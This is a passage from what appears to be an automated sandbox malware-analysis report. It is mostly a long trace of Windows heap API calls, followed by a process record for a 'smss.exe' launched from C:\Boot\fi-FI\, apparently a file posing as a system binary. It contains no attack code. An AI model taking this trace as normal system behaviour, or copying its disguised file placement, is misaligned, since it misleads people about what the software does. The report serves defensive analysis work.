GetProcessHeap () returned 0x50000 [0086.950] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6de10) returned 0x60 [0086.951] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6de10 | out: hHeap=0x50000) returned 1 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d640) returned 1 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d640) returned 0x18 [0086.951] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d640 | out: hHeap=0x50000) returned 1 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc30) returned 1 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cc30) returned 0x20 [0086.951] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc30 | out: hHeap=0x50000) returned 1 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c450) returned 1 [0086.951] GetProcessHeap () returned 0x50000 [0086.951] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c450) returned 0xe [0086.952] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c450 | out: hHeap=0x50000) returned 1 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c430) returned 1 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c430) returned 0x18 [0086.952] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c430 | out: hHeap=0x50000) returned 1 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65e50) returned 1 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65e50) returned 0x20 [0086.952] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65e50 | out: hHeap=0x50000) returned 1 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bd50) returned 1 [0086.952] GetProcessHeap () returned 0x50000 [0086.952] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bd50) returned 0x208 [0086.953] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bd50 | out: hHeap=0x50000) returned 1 [0086.953] GetProcessHeap () returned 0x50000 [0086.953] GetProcessHeap () returned 0x50000 [0086.953] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbb0) returned 1 [0086.953] GetProcessHeap () returned 0x50000 [0086.953] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bbb0) returned 0x18 [0086.953] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbb0 | out: hHeap=0x50000) returned 1 [0086.953] GetProcessHeap () returned 0x50000 [0086.953] GetProcessHeap () returned 0x50000 [0086.953] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d60) returned 1 [0086.953] GetProcessHeap () returned 0x50000 [0086.953] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d60) returned 0x20 [0086.954] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d60 | out: hHeap=0x50000) returned 1 [0086.954] GetProcessHeap () returned 0x50000 [0086.954] GetProcessHeap () returned 0x50000 [0086.954] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d400) returned 1 [0086.954] GetProcessHeap () returned 0x50000 [0086.954] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d400) returned 0x200 [0086.955] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d400 | out: hHeap=0x50000) returned 1 [0086.955] GetProcessHeap () returned 0x50000 [0086.955] GetProcessHeap () returned 0x50000 [0086.955] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbf0) returned 1 [0086.955] GetProcessHeap () returned 0x50000 [0086.955] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bbf0) returned 0x18 [0086.955] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbf0 | out: hHeap=0x50000) returned 1 [0086.955] GetProcessHeap () returned 0x50000 [0086.955] GetProcessHeap () returned 0x50000 [0086.955] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65cd0) returned 1 [0086.956] GetProcessHeap () returned 0x50000 [0086.956] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65cd0) returned 0x20 [0086.956] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65cd0 | out: hHeap=0x50000) returned 1 [0086.956] GetProcessHeap () returned 0x50000 [0086.956] GetProcessHeap () returned 0x50000 [0086.956] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c360) returned 1 [0086.956] GetProcessHeap () returned 0x50000 [0086.957] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c360) returned 0x14 [0086.957] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c360 | out: hHeap=0x50000) returned 1 [0086.957] GetProcessHeap () returned 0x50000 [0086.957] GetProcessHeap () returned 0x50000 [0086.957] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c340) returned 1 [0086.957] GetProcessHeap () returned 0x50000 [0086.957] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c340) returned 0x18 [0086.957] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c340 | out: hHeap=0x50000) returned 1 [0086.957] GetProcessHeap () returned 0x50000 [0086.957] GetProcessHeap () returned 0x50000 [0086.957] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c10) returned 1 [0086.957] GetProcessHeap () returned 0x50000 [0086.957] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c10) returned 0x20 [0086.958] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c10 | out: hHeap=0x50000) returned 1 [0086.958] GetProcessHeap () returned 0x50000 [0086.958] GetProcessHeap () returned 0x50000 [0086.958] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c380) returned 1 [0086.958] GetProcessHeap () returned 0x50000 [0086.958] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c380) returned 0x16 [0086.959] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c380 | out: hHeap=0x50000) returned 1 [0086.959] GetProcessHeap () returned 0x50000 [0086.959] GetProcessHeap () returned 0x50000 [0086.959] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c200) returned 1 [0086.959] GetProcessHeap () returned 0x50000 [0086.959] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c200) returned 0x18 [0086.959] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c200 | out: hHeap=0x50000) returned 1 [0086.959] GetProcessHeap () returned 0x50000 [0086.959] GetProcessHeap () returned 0x50000 [0086.959] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65be0) returned 1 [0086.959] GetProcessHeap () returned 0x50000 [0086.959] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65be0) returned 0x20 [0086.960] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65be0 | out: hHeap=0x50000) returned 1 [0086.960] GetProcessHeap () returned 0x50000 [0086.960] GetProcessHeap () returned 0x50000 [0086.960] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb30) returned 1 [0086.960] GetProcessHeap () returned 0x50000 [0086.960] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb30) returned 0x2 [0086.960] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb30 | out: hHeap=0x50000) returned 1 [0086.961] GetProcessHeap () returned 0x50000 [0086.961] GetProcessHeap () returned 0x50000 [0086.961] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65a30) returned 1 [0086.961] GetProcessHeap () returned 0x50000 [0086.961] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65a30) returned 0x20 [0086.961] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65a30 | out: hHeap=0x50000) returned 1 [0086.961] GetProcessHeap () returned 0x50000 [0086.961] GetProcessHeap () returned 0x50000 [0086.962] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65a60) returned 1 [0086.962] GetProcessHeap () returned 0x50000 [0086.962] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65a60) returned 0x20 [0086.962] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65a60 | out: hHeap=0x50000) returned 1 [0086.962] GetProcessHeap () returned 0x50000 [0086.962] GetProcessHeap () returned 0x50000 [0086.962] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65a90) returned 1 [0086.962] GetProcessHeap () returned 0x50000 [0086.962] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65a90) returned 0x20 [0086.963] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65a90 | out: hHeap=0x50000) returned 1 [0086.963] GetProcessHeap () returned 0x50000 [0086.963] GetProcessHeap () returned 0x50000 [0086.963] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65ac0) returned 1 [0086.963] GetProcessHeap () returned 0x50000 [0086.963] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65ac0) returned 0x20 [0086.964] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65ac0 | out: hHeap=0x50000) returned 1 [0086.964] GetProcessHeap () returned 0x50000 [0086.964] GetProcessHeap () returned 0x50000 [0086.964] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ccc0) returned 1 [0086.964] GetProcessHeap () returned 0x50000 [0086.964] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ccc0) returned 0x20 [0086.964] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ccc0 | out: hHeap=0x50000) returned 1 [0086.964] GetProcessHeap () returned 0x50000 [0086.964] GetProcessHeap () returned 0x50000 [0086.964] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d7a0) returned 1 [0086.964] GetProcessHeap () returned 0x50000 [0086.964] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d7a0) returned 0xc [0086.964] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d7a0 | out: hHeap=0x50000) returned 1 [0086.964] GetProcessHeap () returned 0x50000 [0086.964] GetProcessHeap () returned 0x50000 [0086.965] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ccf0) returned 1 [0086.965] GetProcessHeap () returned 0x50000 [0086.965] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ccf0) returned 0x20 [0086.965] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ccf0 | out: hHeap=0x50000) returned 1 [0086.965] GetProcessHeap () returned 0x50000 [0086.965] GetProcessHeap () returned 0x50000 [0086.965] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x67bc0) returned 1 [0086.965] GetProcessHeap () returned 0x50000 [0086.965] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x67bc0) returned 0x30 [0086.966] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x67bc0 | out: hHeap=0x50000) returned 1 [0086.966] GetProcessHeap () returned 0x50000 [0086.966] GetProcessHeap () returned 0x50000 [0086.966] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd20) returned 1 [0086.966] GetProcessHeap () returned 0x50000 [0086.966] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cd20) returned 0x20 [0086.966] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd20 | out: hHeap=0x50000) returned 1 [0086.966] GetProcessHeap () returned 0x50000 [0086.966] GetProcessHeap () returned 0x50000 [0086.966] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x67c00) returned 1 [0086.966] GetProcessHeap () returned 0x50000 [0086.966] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x67c00) returned 0x30 [0086.967] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x67c00 | out: hHeap=0x50000) returned 1 [0086.967] GetProcessHeap () returned 0x50000 [0086.967] GetProcessHeap () returned 0x50000 [0086.967] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cea0) returned 1 [0086.967] GetProcessHeap () returned 0x50000 [0086.967] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cea0) returned 0x20 [0086.967] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cea0 | out: hHeap=0x50000) returned 1 [0086.967] GetProcessHeap () returned 0x50000 [0086.967] GetProcessHeap () returned 0x50000 [0086.968] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6c0) returned 1 [0086.968] GetProcessHeap () returned 0x50000 [0086.968] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d6c0) returned 0x16 [0086.968] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6c0 | out: hHeap=0x50000) returned 1 [0086.968] GetProcessHeap () returned 0x50000 [0086.968] GetProcessHeap () returned 0x50000 [0086.968] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce70) returned 1 [0086.968] GetProcessHeap () returned 0x50000 [0086.968] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce70) returned 0x20 [0086.968] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce70 | out: hHeap=0x50000) returned 1 [0086.968] GetProcessHeap () returned 0x50000 [0086.968] GetProcessHeap () returned 0x50000 [0086.968] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6e0) returned 1 [0086.968] GetProcessHeap () returned 0x50000 [0086.968] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d6e0) returned 0x16 [0086.969] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6e0 | out: hHeap=0x50000) returned 1 [0086.969] GetProcessHeap () returned 0x50000 [0086.969] GetProcessHeap () returned 0x50000 [0086.969] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce40) returned 1 [0086.969] GetProcessHeap () returned 0x50000 [0086.969] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce40) returned 0x20 [0086.969] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce40 | out: hHeap=0x50000) returned 1 [0086.970] GetProcessHeap () returned 0x50000 [0086.970] GetProcessHeap () returned 0x50000 [0086.970] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x89c30) returned 1 [0086.970] GetProcessHeap () returned 0x50000 [0086.970] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x89c30) returned 0x82 [0086.970] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x89c30 | out: hHeap=0x50000) returned 1 [0086.970] GetProcessHeap () returned 0x50000 [0086.970] GetProcessHeap () returned 0x50000 [0086.970] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce10) returned 1 [0086.970] GetProcessHeap () returned 0x50000 [0086.970] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce10) returned 0x20 [0086.971] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce10 | out: hHeap=0x50000) returned 1 [0086.971] GetProcessHeap () returned 0x50000 [0086.971] GetProcessHeap () returned 0x50000 [0086.971] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d720) returned 1 [0086.971] GetProcessHeap () returned 0x50000 [0086.971] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d720) returned 0xe [0086.971] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d720 | out: hHeap=0x50000) returned 1 [0086.971] GetProcessHeap () returned 0x50000 [0086.971] GetProcessHeap () returned 0x50000 [0086.971] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cde0) returned 1 [0086.971] GetProcessHeap () returned 0x50000 [0086.971] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cde0) returned 0x20 [0086.971] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cde0 | out: hHeap=0x50000) returned 1 [0086.972] GetProcessHeap () returned 0x50000 [0086.972] GetProcessHeap () returned 0x50000 [0086.972] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d740) returned 1 [0086.972] GetProcessHeap () returned 0x50000 [0086.972] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d740) returned 0xc [0086.972] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d740 | out: hHeap=0x50000) returned 1 [0086.972] GetProcessHeap () returned 0x50000 [0086.972] GetProcessHeap () returned 0x50000 [0086.972] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cdb0) returned 1 [0086.972] GetProcessHeap () returned 0x50000 [0086.972] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cdb0) returned 0x20 [0086.972] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cdb0 | out: hHeap=0x50000) returned 1 [0086.972] GetProcessHeap () returned 0x50000 [0086.972] GetProcessHeap () returned 0x50000 [0086.972] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d760) returned 1 [0086.972] GetProcessHeap () returned 0x50000 [0086.973] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d760) returned 0xe [0086.973] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d760 | out: hHeap=0x50000) returned 1 [0086.973] GetProcessHeap () returned 0x50000 [0086.973] GetProcessHeap () returned 0x50000 [0086.973] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd80) returned 1 [0086.973] GetProcessHeap () returned 0x50000 [0086.973] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cd80) returned 0x20 [0086.973] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd80 | out: hHeap=0x50000) returned 1 [0086.973] GetProcessHeap () returned 0x50000 [0086.973] GetProcessHeap () returned 0x50000 [0086.973] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d780) returned 1 [0086.973] GetProcessHeap () returned 0x50000 [0086.973] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d780) returned 0x10 [0086.973] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d780 | out: hHeap=0x50000) returned 1 [0086.973] GetProcessHeap () returned 0x50000 [0086.974] GetProcessHeap () returned 0x50000 [0086.974] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd50) returned 1 [0086.974] GetProcessHeap () returned 0x50000 [0086.974] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cd50) returned 0x20 [0086.974] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd50 | out: hHeap=0x50000) returned 1 [0086.974] GetProcessHeap () returned 0x50000 [0086.974] GetProcessHeap () returned 0x50000 [0086.974] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb50) returned 1 [0086.974] GetProcessHeap () returned 0x50000 [0086.974] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb50) returned 0x18 [0086.974] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb50 | out: hHeap=0x50000) returned 1 [0086.974] GetProcessHeap () returned 0x50000 [0086.974] GetProcessHeap () returned 0x50000 [0086.974] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65af0) returned 1 [0086.974] GetProcessHeap () returned 0x50000 [0086.974] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65af0) returned 0x20 [0086.975] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65af0 | out: hHeap=0x50000) returned 1 [0086.975] GetProcessHeap () returned 0x50000 [0086.975] GetProcessHeap () returned 0x50000 [0086.975] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b20) returned 1 [0086.975] GetProcessHeap () returned 0x50000 [0086.975] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b20) returned 0x20 [0086.975] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b20 | out: hHeap=0x50000) returned 1 [0086.975] GetProcessHeap () returned 0x50000 [0086.975] GetProcessHeap () returned 0x50000 [0086.976] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b50) returned 1 [0086.976] GetProcessHeap () returned 0x50000 [0086.976] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b50) returned 0x20 [0086.976] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b50 | out: hHeap=0x50000) returned 1 [0086.976] GetProcessHeap () returned 0x50000 [0086.976] GetProcessHeap () returned 0x50000 [0086.976] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b80) returned 1 [0086.976] GetProcessHeap () returned 0x50000 [0086.976] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b80) returned 0x20 [0086.976] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b80 | out: hHeap=0x50000) returned 1 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb70) returned 1 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb70) returned 0x18 [0086.977] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb70 | out: hHeap=0x50000) returned 1 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65bb0) returned 1 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65bb0) returned 0x20 [0086.977] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65bb0 | out: hHeap=0x50000) returned 1 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c40) returned 1 [0086.977] GetProcessHeap () returned 0x50000 [0086.977] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c40) returned 0x20 [0086.978] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c40 | out: hHeap=0x50000) returned 1 [0087.089] GetProcessHeap () returned 0x50000 [0087.089] GetProcessHeap () returned 0x50000 [0087.089] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65ca0) returned 1 [0087.089] GetProcessHeap () returned 0x50000 [0087.089] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65ca0) returned 0x20 [0087.090] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65ca0 | out: hHeap=0x50000) returned 1 [0087.091] GetProcessHeap () returned 0x50000 [0087.091] GetProcessHeap () returned 0x50000 [0087.091] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d00) returned 1 [0087.091] GetProcessHeap () returned 0x50000 [0087.091] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d00) returned 0x20 [0087.092] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d00 | out: hHeap=0x50000) returned 1 [0087.092] GetProcessHeap () returned 0x50000 [0087.092] GetProcessHeap () returned 0x50000 [0087.092] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d30) returned 1 [0087.092] GetProcessHeap () returned 0x50000 [0087.092] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d30) returned 0x20 [0087.092] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d30 | out: hHeap=0x50000) returned 1 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb90) returned 1 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb90) returned 0x18 [0087.093] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb90 | out: hHeap=0x50000) returned 1 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c70) returned 1 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c70) returned 0x20 [0087.093] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c70 | out: hHeap=0x50000) returned 1 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb10) returned 1 [0087.093] GetProcessHeap () returned 0x50000 [0087.093] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb10) returned 0x18 [0087.093] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb10 | out: hHeap=0x50000) returned 1 [0087.093] exit (_Code=0) Thread: id = 196 os_tid = 0x5d8 Process: id = "57" image_name = "smss.exe" filename = "c:\\boot\\fi-fi\\smss.exe" page_root = "0x3a541000" os_pid = "0x4dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "C:\\Boot\\fi-FI\\smss.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4925 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4926 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4927 start_va = 0x60000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 4928 start_va = 0xff0000 end_va = 0x10c7fff monitored = 1 entry_point = 0x10bf1ee region_type = mapped_file name = "smss.exe" filename = "\\Boot\\fi-FI\\smss.exe" (normalized: "c:\\boot\\fi-fi\\smss.exe") Region: id = 4929 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4930 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4931 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4932 start_va = 0x7fefff00000 end_va = 